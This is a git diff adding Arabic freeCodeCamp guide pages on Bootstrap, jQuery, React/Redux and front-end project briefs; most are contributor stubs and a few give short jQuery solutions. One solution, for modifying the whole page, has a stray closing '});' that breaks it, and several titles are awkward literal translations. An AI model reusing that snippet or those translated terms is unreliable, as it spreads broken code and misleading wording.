+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/taste-the-bootstrap-button-color-rainbow/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/use-a-span-to-target-inline-elements/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/use-a-span-to-target-inline-elements/index.md
new file mode 100644
index 0000000000..3678b88815
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/use-a-span-to-target-inline-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a span to Target Inline Elements
+localeTitle: استخدم مسافة للعناصر المضمنة الهدف
+---
+## استخدم مسافة للعناصر المضمنة الهدف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/use-a-span-to-target-inline-elements/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/use-comments-to-clarify-code/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/use-comments-to-clarify-code/index.md
new file mode 100644
index 0000000000..d8e8ebff25
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/use-comments-to-clarify-code/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Comments to Clarify Code
+localeTitle: استخدم التعليقات لتوضيح كود
+---
+## استخدم التعليقات لتوضيح كود
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/use-comments-to-clarify-code/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/use-responsive-design-with-bootstrap-fluid-containers/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/use-responsive-design-with-bootstrap-fluid-containers/index.md
new file mode 100644
index 0000000000..d521c09be6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/use-responsive-design-with-bootstrap-fluid-containers/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Responsive Design with Bootstrap Fluid Containers
+localeTitle: استخدام تصميم متجاوب مع حاويات السوائل Bootstrap
+---
+## استخدام تصميم متجاوب مع حاويات السوائل Bootstrap
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/use-responsive-design-with-bootstrap-fluid-containers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/use-the-bootstrap-grid-to-put-elements-side-by-side/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/use-the-bootstrap-grid-to-put-elements-side-by-side/index.md
new file mode 100644
index 0000000000..1ca507a23a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/use-the-bootstrap-grid-to-put-elements-side-by-side/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Bootstrap Grid to Put Elements Side By Side
+localeTitle: استخدم شبكة Bootstrap لوضع عناصر جنبًا إلى جنب
+---
+## استخدم شبكة Bootstrap لوضع عناصر جنبًا إلى جنب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/use-the-bootstrap-grid-to-put-elements-side-by-side/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/warn-your-users-of-a-dangerous-action-with-btn-danger/index.md b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/warn-your-users-of-a-dangerous-action-with-btn-danger/index.md
new file mode 100644
index 0000000000..476293d875
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/bootstrap/warn-your-users-of-a-dangerous-action-with-btn-danger/index.md
@@ -0,0 +1,9 @@
+---
+title: Warn Your Users of a Dangerous Action with btn-danger
+localeTitle: تحذير مستخدمي موقعك من عمل خطير مع خطر btn
+---
+## تحذير مستخدمي موقعك من عمل خطير مع خطر btn
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/bootstrap/warn-your-users-of-a-dangerous-action-with-btn-danger/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/front-end-libraries-projects/build-a-drum-machine/index.md b/client/src/guide/arabic/certifications/front-end-libraries/front-end-libraries-projects/build-a-drum-machine/index.md
new file mode 100644
index 0000000000..62433376ab
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/front-end-libraries-projects/build-a-drum-machine/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Drum Machine
+localeTitle: بناء آلة طبل
+---
+## بناء آلة طبل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/front-end-libraries-projects/build-a-drum-machine/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/front-end-libraries-projects/build-a-javascript-calculator/index.md b/client/src/guide/arabic/certifications/front-end-libraries/front-end-libraries-projects/build-a-javascript-calculator/index.md
new file mode 100644
index 0000000000..ead61656d0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/front-end-libraries-projects/build-a-javascript-calculator/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a JavaScript Calculator
+localeTitle: بناء حاسبة جافا سكريبت
+---
+## بناء حاسبة جافا سكريبت
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/front-end-libraries-projects/build-a-javascript-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/front-end-libraries-projects/build-a-markdown-previewer/index.md b/client/src/guide/arabic/certifications/front-end-libraries/front-end-libraries-projects/build-a-markdown-previewer/index.md
new file mode 100644
index 0000000000..9e59d002f2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/front-end-libraries-projects/build-a-markdown-previewer/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Markdown Previewer
+localeTitle: بناء على Markdown Previewer
+---
+## بناء على Markdown Previewer
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/front-end-libraries-projects/build-a-markdown-previewer/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/front-end-libraries-projects/build-a-pomodoro-clock/index.md b/client/src/guide/arabic/certifications/front-end-libraries/front-end-libraries-projects/build-a-pomodoro-clock/index.md
new file mode 100644
index 0000000000..42c275a64c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/front-end-libraries-projects/build-a-pomodoro-clock/index.md
@@ -0,0 +1,9 @@
+---
+title: Build a Pomodoro Clock
+localeTitle: بناء على مدار الساعة بومودورو
+---
+## بناء على مدار الساعة بومودورو
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/front-end-libraries-projects/build-a-pomodoro-clock/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/front-end-libraries-projects/build-a-random-quote-machine/index.md b/client/src/guide/arabic/certifications/front-end-libraries/front-end-libraries-projects/build-a-random-quote-machine/index.md
new file mode 100644
index 0000000000..e5e8ed5e7a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/front-end-libraries-projects/build-a-random-quote-machine/index.md
@@ -0,0 +1,11 @@
+---
+title: Build a Random Quote Machine
+localeTitle: بناء آلة اقتباس عشوائي
+---
+## بناء آلة اقتباس عشوائي
+
+يتكون المشروع من ثلاثة أجزاء متميزة:
+
+1.  تحديد المكونات اللازمة لإكمال المهمة ، ما هي المكونات الموجودة هناك؟ هل يمكن استخدام بعض المكونات أكثر من مرة؟ على سبيل المثال ، الأزرار ، هل هي نفسها فقط مع أحداث onClick مختلفة؟
+2.  ما المكون الذي يجب أن يكون مسؤولاً عن الحفاظ على الحالة ، وكيف ينبغي أن يتم تمرير التغييرات في الحالة إلى مكونات أخرى؟
+3.  كيف يجب جلب اقتباس جديد؟ أين يجب تخزين الاقتباس الجديد والمؤلف؟
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/front-end-libraries-projects/index.md b/client/src/guide/arabic/certifications/front-end-libraries/front-end-libraries-projects/index.md
new file mode 100644
index 0000000000..b44104708b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/front-end-libraries-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: Front  End Libraries Projects
+localeTitle: مشاريع المكتبات الأمامية
+---
+## مشاريع المكتبات الأمامية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/index.md b/client/src/guide/arabic/certifications/front-end-libraries/index.md
new file mode 100644
index 0000000000..af20c2de27
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/index.md
@@ -0,0 +1,17 @@
+---
+title: Front End Libraries
+localeTitle: مكتبات الواجهة الأمامية
+---
+## مكتبات الواجهة الأمامية
+
+مكتبة الواجهة الأمامية هي عبارة عن ملف أو جزء من التعليمات البرمجية المكتوبة مسبقًا والتي تساعد المستخدم من خلال تقليل الوقت المستغرق.
+
+تساعد مكتبات التعليمات البرمجية هذه مستخدميها على تقليل وقتهم في كتابة أسطر طويلة من التعليمات البرمجية ، وزيادة إنتاجيتهم. على سبيل المثال ، توفر مكتبات الواجهة الأمامية مثل [Bootstrap](https://getbootstrap.com/) إطار عمل للمستخدمين للبناء عليه وتقليل الوقت المستهلك ، مع السماح بمرونة للمستخدم.
+
+يمكن أن تكون المكتبات رافضة أو غير معنية ، أي تترك بعض الخيارات للمستخدم ولا تترك أي خيار للمستخدم على التوالي.
+
+نظرًا لأن هذه المكتبات هي مكتبات للواجهة الأمامية ، فإنها تعمل مع HTML و CSS وجافا سكريبت وتعديل تنسيق وأسلوب وسلوك الصفحة في متصفح على التوالي.
+
+#### معلومات اكثر:
+
+1.  [بعض مكتبات الواجهة الأمامية الجيدة](https://medium.com/learnwithrahul/introduction-to-some-kick-ass-front-end-libraries-tools-963f55152f4b)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/jquery/change-text-inside-an-element-using-jquery/index.md b/client/src/guide/arabic/certifications/front-end-libraries/jquery/change-text-inside-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..43a371942e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/jquery/change-text-inside-an-element-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Change Text Inside an Element Using jQuery
+localeTitle: تغيير النص داخل عنصر باستخدام jQuery
+---
+## تغيير النص داخل عنصر باستخدام jQuery
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/change-text-inside-an-element-using-jquery/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/jquery/change-the-css-of-an-element-using-jquery/index.md b/client/src/guide/arabic/certifications/front-end-libraries/jquery/change-the-css-of-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..e59a9c8b1f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/jquery/change-the-css-of-an-element-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Change the CSS of an Element Using jQuery
+localeTitle: تغيير CSS لعنصر باستخدام jQuery
+---
+## تغيير CSS لعنصر باستخدام jQuery
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/change-the-css-of-an-element-using-jquery/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/jquery/clone-an-element-using-jquery/index.md b/client/src/guide/arabic/certifications/front-end-libraries/jquery/clone-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..b19a892c22
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/jquery/clone-an-element-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Clone an Element Using jQuery
+localeTitle: استنساخ عنصر باستخدام jQuery
+---
+## استنساخ عنصر باستخدام jQuery
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/clone-an-element-using-jquery/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/jquery/delete-your-jquery-functions/index.md b/client/src/guide/arabic/certifications/front-end-libraries/jquery/delete-your-jquery-functions/index.md
new file mode 100644
index 0000000000..f82c873623
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/jquery/delete-your-jquery-functions/index.md
@@ -0,0 +1,9 @@
+---
+title: Delete Your jQuery Functions
+localeTitle: حذف وظائف jQuery الخاصة بك
+---
+## حذف وظائف jQuery الخاصة بك
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/delete-your-jquery-functions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/jquery/disable-an-element-using-jquery/index.md b/client/src/guide/arabic/certifications/front-end-libraries/jquery/disable-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..934a515584
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/jquery/disable-an-element-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Disable an Element Using jQuery
+localeTitle: تعطيل عنصر باستخدام jQuery
+---
+## تعطيل عنصر باستخدام jQuery
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/disable-an-element-using-jquery/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/jquery/index.md b/client/src/guide/arabic/certifications/front-end-libraries/jquery/index.md
new file mode 100644
index 0000000000..b0aa6e083e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/jquery/index.md
@@ -0,0 +1,11 @@
+---
+title: jQuery
+localeTitle: مسج
+---
+## مسج
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/jquery/learn-how-script-tags-and-document-ready-work/index.md b/client/src/guide/arabic/certifications/front-end-libraries/jquery/learn-how-script-tags-and-document-ready-work/index.md
new file mode 100644
index 0000000000..efa83d590f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/jquery/learn-how-script-tags-and-document-ready-work/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn How Script Tags and Document Ready Work
+localeTitle: تعلم كيفية عمل علامات Script والوثيقة
+---
+## تعلم كيفية عمل علامات Script والوثيقة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/learn-how-script-tags-and-document-ready-work/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/jquery/remove-an-element-using-jquery/index.md b/client/src/guide/arabic/certifications/front-end-libraries/jquery/remove-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..71ec4e0c97
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/jquery/remove-an-element-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove an Element Using jQuery
+localeTitle: إزالة عنصر باستخدام jQuery
+---
+## إزالة عنصر باستخدام jQuery
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/remove-an-element-using-jquery/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/jquery/remove-classes-from-an-element-with-jquery/index.md b/client/src/guide/arabic/certifications/front-end-libraries/jquery/remove-classes-from-an-element-with-jquery/index.md
new file mode 100644
index 0000000000..0cd44acf41
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/jquery/remove-classes-from-an-element-with-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove Classes from an Element with jQuery
+localeTitle: إزالة فئات من عنصر مع jQuery
+---
+## إزالة فئات من عنصر مع jQuery
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/remove-classes-from-an-element-with-jquery/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-a-specific-child-of-an-element-using-jquery/index.md b/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-a-specific-child-of-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..68e541f7df
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-a-specific-child-of-an-element-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Target a Specific Child of an Element Using jQuery
+localeTitle: استهداف طفل معين من عنصر باستخدام jQuery
+---
+## استهداف طفل معين من عنصر باستخدام jQuery
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/target-a-specific-child-of-an-element-using-jquery/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-elements-by-class-using-jquery/index.md b/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-elements-by-class-using-jquery/index.md
new file mode 100644
index 0000000000..125f060d99
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-elements-by-class-using-jquery/index.md
@@ -0,0 +1,18 @@
+---
+title: Target Elements by Class Using jQuery
+localeTitle: عناصر الهدف حسب الفئة باستخدام jQuery
+---
+## عناصر الهدف حسب الفئة باستخدام jQuery
+
+*   يمكنك العثور على عناصر باستخدام محدد فئة jQuery. // $ (. className)
+*   في هذا المثال ، يسمح لك بتحديد عناصر مع الفئة ".well"
+
+## حل
+
+ `<script> 
+  $(document).ready(function() { 
+    $(".well").addClass("animated bounce"); 
+    $(".well").addClass("shake"); 
+  }); 
+ </script> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-elements-by-id-using-jquery/index.md b/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-elements-by-id-using-jquery/index.md
new file mode 100644
index 0000000000..9c976e8c07
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-elements-by-id-using-jquery/index.md
@@ -0,0 +1,16 @@
+---
+title: Target Elements by id Using jQuery
+localeTitle: عناصر الهدف عن طريق id استخدام jQuery
+---
+## عناصر الهدف عن طريق id استخدام jQuery
+
+## حل
+
+ `<script> 
+  $(document).ready(function() { 
+    $("button").addClass("animated bounce"); 
+    $(".well").addClass("animated shake"); 
+    $("#target3").addClass("fadeOut"); // Target elements with the id "target3" and add the class "fadeOut" to them. 
+  }); 
+ </script> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-even-elements-using-jquery/index.md b/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-even-elements-using-jquery/index.md
new file mode 100644
index 0000000000..3566690caf
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-even-elements-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Target Even Elements Using jQuery
+localeTitle: الهدف حتى العناصر باستخدام jQuery
+---
+## الهدف حتى العناصر باستخدام jQuery
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/target-even-elements-using-jquery/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-html-elements-with-selectors-using-jquery/index.md b/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-html-elements-with-selectors-using-jquery/index.md
new file mode 100644
index 0000000000..3a74ebbfc2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-html-elements-with-selectors-using-jquery/index.md
@@ -0,0 +1,26 @@
+---
+title: Target HTML Elements with Selectors Using jQuery
+localeTitle: عناصر HTML الهدف مع المحددات باستخدام jQuery
+---
+*   تتيح لك أدوات اختيار JQuery تحديد عناصر HTML والتعامل معها.
+*   تبدأ هذه المحددات مع علامة الدولار والأقواس: $ ()
+*   يمكنك "إيجاد" (أو تحديد) عناصر HTML استنادًا إلى الاسم والمعرف والفئات والأنواع والسمات وقيم السمات وغير ذلك الكثير.
+
+## مثال
+
+ `//You can select all <p> elements on a page like this  =  $("p") 
+  $(document).ready(function(){ 
+    $("button").click(function(){ 
+        $("p").hide(); 
+    }); 
+ }); 
+` 
+
+## حل
+
+ `<script> 
+  $(document).ready(function() { 
+      $("button").addClass("animated bounce"); // We are selecting the button elements and adding "animated bounce" class to them. 
+  }); 
+ </script> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-the-children-of-an-element-using-jquery/index.md b/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-the-children-of-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..ee23686405
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-the-children-of-an-element-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Target the Children of an Element Using jQuery
+localeTitle: استهدف أطفال عنصر باستخدام jQuery
+---
+## استهدف أطفال عنصر باستخدام jQuery
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/target-the-children-of-an-element-using-jquery/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-the-parent-of-an-element-using-jquery/index.md b/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-the-parent-of-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..f924176c0e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-the-parent-of-an-element-using-jquery/index.md
@@ -0,0 +1,14 @@
+---
+title: Target the Parent of an Element Using jQuery
+localeTitle: استهداف أصل عنصر باستخدام jQuery
+---
+## استهداف أصل عنصر باستخدام jQuery
+
+## حل
+
+ `<script> 
+  $(document).ready(function() { 
+    $("#target1").parent().css("background-color", "red"); // Selects the parent of #target1 and changes its background-color to red 
+  }); 
+ </script> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-the-same-element-with-multiple-jquery-selectors/index.md b/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-the-same-element-with-multiple-jquery-selectors/index.md
new file mode 100644
index 0000000000..f1001d08e3
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/jquery/target-the-same-element-with-multiple-jquery-selectors/index.md
@@ -0,0 +1,16 @@
+---
+title: Target the Same Element with Multiple jQuery Selectors
+localeTitle: استهدف عنصر نفسه باستخدام محددات jQuery متعددة
+---
+## استهدف عنصر نفسه باستخدام محددات jQuery متعددة
+
+## حل
+
+ `<script> 
+  $(document).ready(function() { 
+    $("button").addClass("animated"); // Target elements with type "button" and add the class "animated" to them. 
+    $(".btn").addClass("shake"); // Target elements with class ".btn" and add the class "shake" to them. 
+    $("#target1").addClass("btn-primary"); // Target elements with id "#target1" and add the class "btn-primary" to them. 
+  }); 
+ </script> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/jquery/use-appendto-to-move-elements-with-jquery/index.md b/client/src/guide/arabic/certifications/front-end-libraries/jquery/use-appendto-to-move-elements-with-jquery/index.md
new file mode 100644
index 0000000000..9d5831647c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/jquery/use-appendto-to-move-elements-with-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Use appendTo to Move Elements with jQuery
+localeTitle: استخدم appendTo لنقل العناصر باستخدام jQuery
+---
+## استخدم appendTo لنقل العناصر باستخدام jQuery
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/use-appendto-to-move-elements-with-jquery/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/jquery/use-jquery-to-modify-the-entire-page/index.md b/client/src/guide/arabic/certifications/front-end-libraries/jquery/use-jquery-to-modify-the-entire-page/index.md
new file mode 100644
index 0000000000..88b66b97c8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/jquery/use-jquery-to-modify-the-entire-page/index.md
@@ -0,0 +1,21 @@
+---
+title: Use jQuery to Modify the Entire Page
+localeTitle: استخدم jQuery لتعديل الصفحة بأكملها
+---
+## استخدم jQuery لتعديل الصفحة بأكملها
+
+### شرح المشكلة
+
+أضف الطبقات `animated` `hinge` إلى عنصر `body` .
+
+#### روابط ذات صلة:
+
+*   [.addClass ()](https://api.jquery.com/addClass/e)
+
+### حل:
+
+ `<script> 
+  $("body").addClass("animated hinge"); 
+  }); 
+ </script> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/connect-redux-to-react/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/connect-redux-to-react/index.md
new file mode 100644
index 0000000000..86b897179c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react-and-redux/connect-redux-to-react/index.md
@@ -0,0 +1,9 @@
+---
+title: Connect Redux to React
+localeTitle: قم بتوصيل Redux بالرد
+---
+## قم بتوصيل Redux بالرد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/connect-redux-to-react/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
